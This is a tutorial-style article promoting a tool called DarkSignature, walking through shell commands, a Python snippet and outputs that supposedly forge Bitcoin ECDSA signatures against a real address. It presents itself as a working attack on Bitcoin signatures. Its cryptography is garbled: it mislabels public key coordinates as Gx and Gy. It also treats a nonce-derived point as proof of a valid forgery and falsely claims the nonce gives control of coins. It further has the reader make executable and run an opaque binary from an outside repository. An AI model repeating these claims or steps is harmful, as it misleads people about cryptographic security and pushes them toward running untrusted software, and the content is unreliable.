There are many tools available on the internet to create fake signature values in Bitcoin cryptocurrency, one of them is DarkSignature
The basic idea behind DarkSignature is that if there are vulnerabilities in cryptographic algorithms such as ECDSA (Elliptic Curve Digital Signature Algorithm), it is possible to generate invalid or fake signatures that will be accepted as valid by the system.
This command changes the current directory to darksignature. This means that all subsequent commands will be executed in this folder. If the necessary scripts or programs for decoding transactions are in it, this will allow them to be used. The command ls lists all files and directories in the current directory (in this case, darksignature). This is useful for checking for files or scripts that may be needed for further actions. By default, the command does not show hidden files (those that begin with a dot).
cd darksignature/
ls
This command changes the permissions of a file or directory darksignature by adding execute permission ( +x). This is necessary if you want to run the file as a program or script. The sign ! indicates that the command is being executed in a Jupyter Notebook or similar environment. This command runs an executable file or script named darksignature, located in the current directory.
!chmod +x darksignature
!./darksignature
This is a command to run a program or script that is likely designed to manipulate Bitcoin digital signatures. The symbol ! may indicate that the command is being executed in an environment that supports such commands (such as a terminal or console). -address: This is a command line option that tells the program that it is followed by a Bitcoin address. In this case, the address 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE is a string that is a unique identifier for a Bitcoin wallet. Once run, we get the result of the public key in HEX format.
!./darksignature -address 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
Result:
pubkey: (HEX) = 04ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15The command !pip install ecdsa is used to install the library ecdsa in the Python programming environment. The library ecdsa provides tools for working with the Elliptic Curve Digital Signature Algorithm (ECDSA). It allows you to create key pairs (private and public), sign messages, and verify signatures. The library allows you to check whether a message was actually signed by a certain key.
!pip install ecdsa
This code allows you to extract the coordinates of a point on the elliptic curve from a Bitcoin public key.
from ecdsa import VerifyingKey, SECP256k1
import binascii
def get_coordinates_from_pubkey(pubkey_hex):
# Convert HEX to bytes
pubkey_bytes = binascii.unhexlify(pubkey_hex)
# Create a VerifyingKey object from the public key
vk = VerifyingKey.from_string(pubkey_bytes, curve=SECP256k1)
# Get the Gx and Gy coordinates
Gx = vk.pubkey.point.x()
Gy = vk.pubkey.point.y()
# Convert the coordinates to HEX format
Gx_hex = format(Gx, 'x').zfill(64) # Fill with zeros up to 64 characters
Gy_hex = format(Gy, 'x').zfill(64) # Fill with zeros up to 64 characters
return Gx_hex, Gy_hex
pubkeyhex = "04ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15"
Gx, Gy = get_coordinates_from_pubkey(pubkeyhex)
print(f"pubkey: {pubkeyhex}")
print(f"")
print(f"(Gx, Gy) = {Gx} {Gy}")
Result:
pubkey: 04ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15
(Gx, Gy) = ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa 280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15This is the command to run darksignature -pubkey : This is a command line option that tells the program that it is followed by a public key. The public key is used to verify signatures and identify the owner of funds in the Bitcoin network. ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa: This is the first part of the command parameters – the coordinate Gx (x-coordinate) of the public key in hexadecimal format. It is a piece of information about the public key that is needed for cryptographic operations. 280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15: This is the second part of the command parameters – the coordinate Gy (y-coordinate) of the public key, also in hexadecimal format. The result is the signature value R, S, Z.
!./darksignature -pubkey ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa 280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15
Result:
|==========================================================================================================================================================================================================|
pubkey: (Gx , Gy) = (91519190036866233587583752863966343541024156557754641198598352460350806215674, 18110675123485594228049867696927871008716109164646265340106239137304742587157)
|===|================ Get ECDSA Signature: <R> value ================|================ Get ECDSA Signature: <S> value ================|================ Get ECDSA Signature: <Z> value ================|===|
1111,dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbb,4785af2aeff25512213694d4cd1fe85ca21606cce8e43f34799d4af3b1cdf2b2,18a00b1802ee4d717ced01a782f89f509a2fac59376e1de4bde0c7f448869455,0000This command writes to a file: Instead of displaying the text on the screen, it will be written to a file SignRSZ.txt. If this file does not exist before, it will be created.
!echo '1111,dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbb,4785af2aeff25512213694d4cd1fe85ca21606cce8e43f34799d4af3b1cdf2b2,18a00b1802ee4d717ced01a782f89f509a2fac59376e1de4bde0c7f448869455,0000' > SignRSZ.txt
Run the calculatenonce.py script to get the Secret Key NONCE value in HEX format
!python calculatenonce.py
Result:
Secret Key NONCE: db7bbcb93e3fb5259c5035c6321134b60b8b5afb37cff08641ce3ebbf8e1a95c
Signatere R value: dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbbSecret Key NONCE
Secret Key (NONCE) is a value in cryptography that is used to encrypt and sign data. In the context of Bitcoin, the secret key allows the user to control their BTC coins .
Let’s run the command to get the public key for the secret key value (NONCE)
!./darksignature -privkey db7bbcb93e3fb5259c5035c6321134b60b8b5afb37cff08641ce3ebbf8e1a95c
Result:
pubkey: (HEX) = 04dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbb384139c65187ffece2e0c880f013cb69ede7d9078ef6c68d1eafbec50ec05502Signatere R value & pubkey: (HEX)
Let’s check if the R value of the signature and the Gx coordinate of the public key are the same, then the Bitcoin transaction signature is valid.
Result:
dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbb
04dc2e5e1104d74ace769d2c51901b6a6237c723a56aa4a295ea37ad826d0ddfbb384139c65187ffece2e0c880f013cb69ede7d9078ef6c68d1eafbec50ec05502The DarkSignature tool is a powerful tool for creating fake signature values in the Bitcoin cryptocurrency by exploiting vulnerabilities in cryptographic algorithms such as ECDSA. DarkSignature can generate invalid signatures that can be accepted as valid by the system, posing serious threats to user security and network integrity. When using DarkSignature, users can modify directories, install necessary libraries, and extract public key coordinates, allowing them to manipulate digital signatures. These actions highlight the importance of carefully checking and protecting the cryptographic mechanisms used in Bitcoin and other cryptocurrencies. Understanding how tools like DarkSignature work helps raise awareness of potential risks and vulnerabilities in the system, which is essential for ensuring security in the world of digital currencies.
Source code: https://github.com/smartibase/Broadcast-Bitcoin-Transaction/tree/main/darksignature